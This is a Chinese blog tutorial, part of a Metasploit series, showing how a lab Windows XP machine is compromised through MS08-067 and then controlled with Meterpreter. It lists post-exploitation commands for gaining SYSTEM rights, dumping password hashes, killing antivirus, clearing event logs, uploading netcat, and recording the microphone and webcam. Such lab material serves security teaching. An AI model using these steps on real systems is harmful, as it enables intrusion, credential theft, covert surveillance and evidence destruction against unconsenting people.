MSF——Meterpreter(三)
MSF系列:
一、简介
Meterpreter是Metasploit提供的一个非常强大的后渗透工具
Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得目标系统的shell
这里的payload就是shellcode,以获得目标系统的shell为目的的payload
我们获得的shell有些缺陷,仅利用shell来收集更多的信息、做更多的事情的话是一个偏笨拙的办法。利用Meterpreter可以打开麦克风、用图形界面显示被攻击者的操作界面等等。
Meterpreter有以下优势:
- 完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作
- 使用加密通信协议,而且可以同时与几个信道通信
- 在被攻击进程内工作,不需要创建新的进程
- 易于在多进程之间迁移
执行过程:
- 注入合法系统进程并建立Stager
- 基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
- 基于Stager建立的socket连接建立加密的TLS通信隧道
- 利用TLS隧道进一步加载后续扩展模块(避免网络取证)
二、基本命令
获得Meterpreter Shell
我们先获得一个Meterpreter的shell然后继续后面的内容
实验机器:
- Kali Rolling 4.8.10,IP地址192.168.171.129
- Windows XP Professional SP3,打开445端口,关闭防火墙,IP地址192.168.171.134
XP打开445端口
在cmd命令中输入netstat -nao查看445端口是否在监听状态,如果是则跳过,不是则往下继续进行

依次打开目录HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下面的结果

双击SMBDeviceEnabled

将数值数据改成1,然后点确定即可

输入netstat -nao,查看是否已经打开,如果没有则重启一下机器

Kali开始攻击
我们用ms08_067这个漏洞进行攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)

然后输入 exploit -j 进行攻击,可以看到先发送了stage,然后创建了Meterpreter会话

现在我们进入这个Meterpreter Shell

基本命令
可以输入help查看一些命令,如果想回到MSF可以输入background
- pwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以用这个命令查看当前所在的目录位置
cd:切换目录
dir / ls: 列出当前目录的内容
- cat:查看文件内容
- mkdir:创建目录
- rm:删除文件
- rmdir:删除文件夹
- mv:移动文件
- cp:复制文件
- edit:其实就是Linux 下的 vi 命令
- lpwd:指 local pwd,查看本地当前的工作目录
- lcd:切换本地目录
- getuid:查看Meterpreter登录到系统的用户
- getsystem:获取system权限
- getprivs:查看用户权限
- getpid:Meterpreter是注入到一个合法的进程里面的,然后可以用ps查看我们注入的是哪个进程
- migrate:将Meterpreter迁移到我们想注入的进程里面,migrate pid
- 比如services.exe的pid是664,我们可以migrate 664
- run / bgrun:运行命令,有200多个功能,但不保证所有模块能在目标机器上正常运行,bgrun是在后台运行而不是前台
- run post/windows/manage/killav 用来杀掉杀毒软件
- run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输入hashdump是一样的
- run service_manager -l 获得目标系统的服务
- run vnc 图形化的远程管理
- clearev:清除目标系统日志。
- XP电脑运行中输入eventvwr可以打开事件查看器


这时候再去查看已经没有日志了,只有一条日志成功清除的记录
- download:下载目标系统的文件到 “lpwd” 目录下
- upload:上传文件,upload /usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32,“\”有转义符的意思,我们这里需要两条“\”
- execute:执行命令,-f 后面跟需要执行的命令
- 和cmd交互:execute -f cmd.exe -i,直接输入shell也能获得操作系统的shell
- ps:查看目标正在运行的进程
- netstat:查看目标的网络连接状况、端口开放情况
- sysinfo:目标操作系统信息
- kill:杀死进程
- reboot:重启机器
- shutdown:关闭机器
- shell:获得操作系统的shell
- show_mount:挂载了几个分区
- search:搜索目标系统的上的文件
- search -f win.ini
- arp:查看目标机器的arp缓存
- ipconfig / ifconfig:查看目标IP信息
- route:查看路由表
- 可以添加、删除路由,可以通过route -h查看操作
- idletime:目标操作系统已经空闲了多长时间,即多长时间没进行操作。时间久可以猜测用户不在计算机前。
- resource:调用一个外部的资源文件
- 比如在Kali的“lpwd”目录创建一个 test.txt,里面填入“pwd”等命令,一条命令一行
- resource test.txt
- record_mic:用目标的麦克风记录声音
- webcam_list:列出目标机器上的摄像头
- webcam_snap:用摄像头拍照
- webcam_snap -i 1 -v false:每隔1秒拍一次照
三、Meterpreter Python扩展
目标机器无需安装Python运行环境,就能运行原生Python代码。
这个扩展以插件的形式存在,我们需要先加载这个加载:
load python
- python_execute "print ('hello')",直接执行python代码
- python_execute "import os; cd = os.getcwd()" -r cd,将os.getcwd()赋值给 cd 这个变量,然后用 -r cd 读取 cd 这个变量的值
- python_import -f test.py,导入一个写好的python脚本
# test.py
import os
print(os.getcwd())
MSF——Meterpreter(三)的更多相关文章
- 20164305 徐广皓 Exp5 MSF基础应用
一.知识点总结 二.攻击实例 主动攻击的实践 ms08_067(win7) payload/generic/shell_reverse_tcp(失败) payload/windows/meterpre ...
- 2018-2019-2 20165323《网络攻防技术》Exp5 MSF基础应用
一.知识点总结 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六种模块 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode&qu ...
- 2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165336<网络攻防技术>Exp5 MSF基础应用 一.攻击实例 主动攻击的实践 ms08_067(成功) payload/generic/shell_rev ...
- 2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165312<网络攻防技术>Exp5 MSF基础应用 目录 一.知识点总结 二.攻击实例 主动攻击的实践 ms08_067 payload/generic/sh ...
- 2018-2019-2 网络对抗技术 20165304 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165304Exp5 MSF基础应用 原理与实践说明 1.实践原理 1).MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2). ...
- 2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi:自动化 ...
- 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...
- 2018-2019-2 20165212《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165212<网络攻防技术>Exp5 MSF基础应用 攻击成果 主动攻击的实践 ms17010eternalblue payload windows/x64/m ...
- cs配合msf批量探测内网MS17-010漏洞
第一步 Cobalt strike 派生 shell 给 MSF(前提有个beacon shell) 第二步 选择要派生的beacon,右键-->增加会话,选择刚刚配置的foreign监听器 第 ...
随机推荐
- go中基本数据类型的默认值
代码 // 基本数据类型(整型,浮点型,字符串型,布尔型)的默认值 package main import ( "fmt" ) func main() { var a int va ...
- vue 移动端列表筛选功能实现
最近兴趣所致,打算使用vant搭建一个webapp,由于需要使用列表筛选,没有找到合适组件,于是写了一个简单的功能,权当记录. 效果如下: HTML: <div class=&qu ...
- 机器学习-决策树算法+代码实现(基于R语言)
分类树(决策树)是一种十分常用的分类方法.核心任务是把数据分类到可能的对应类别. 他是一种监管学习,所谓监管学习就是给定一堆样本,每个样本都有一组属性和一个类别,这些类别是事先确定的,通过学习得到一个 ...
- proc - 进程信息伪文件系统
描述 /proc 是一个伪文件系统, 被用作内核数据结构的接口, 而不仅仅是解释说明 /dev/kmem. /proc里的大多数文件都是只读的, 但也可以通过写一些文件来改变内核变量. 下面对整个 / ...
- windows server 2008R2 配置tomcat服务开机自启动
一.配置环境 操作系统:Windows server 2008 R2 软件包:jdk_1.7.rar 二.安装操作 1,右击解压jdk_1.7.rar:解压后双击运行jdk-7u79-windows- ...
- Sass-@if的使用
@if 指令是一个 SassScript,它可以根据条件来处理样式块,如果条件为 true 返回一个样式块,反之 false 返回另一个样式块.在 Sass 中除了 @if 之,还可以配合 @else ...
- Sass-变量计算
在 Sass 中除了可以使用数值进行运算之外,还可以使用变量进行计算,其实在前面章节的示例中也或多或少的向大家展示了.在 Sass 中使用变量进行计算,这使得 Sass 的数学运算功能变得更加实用.一 ...
- center os7 安装mysql
安装mariadb MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可.开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险, ...
- mapreduce图解系列
1.Hadoop的hdfs https://www.cnblogs.com/jstarseven/p/7682293.html 2.Hadoop的yarn https://segmentfault.c ...
- 浅谈SAP CRM和Hybris Commerce里的价格架构折扣
最近Jerry做了一个和价格折扣相关的原型项目,把学到的知识记录下来,以备将来查阅. 在这个原型项目里,我们用React-Native开发了一个移动应用,用户可以在手机上浏览SAP Hybris Co ...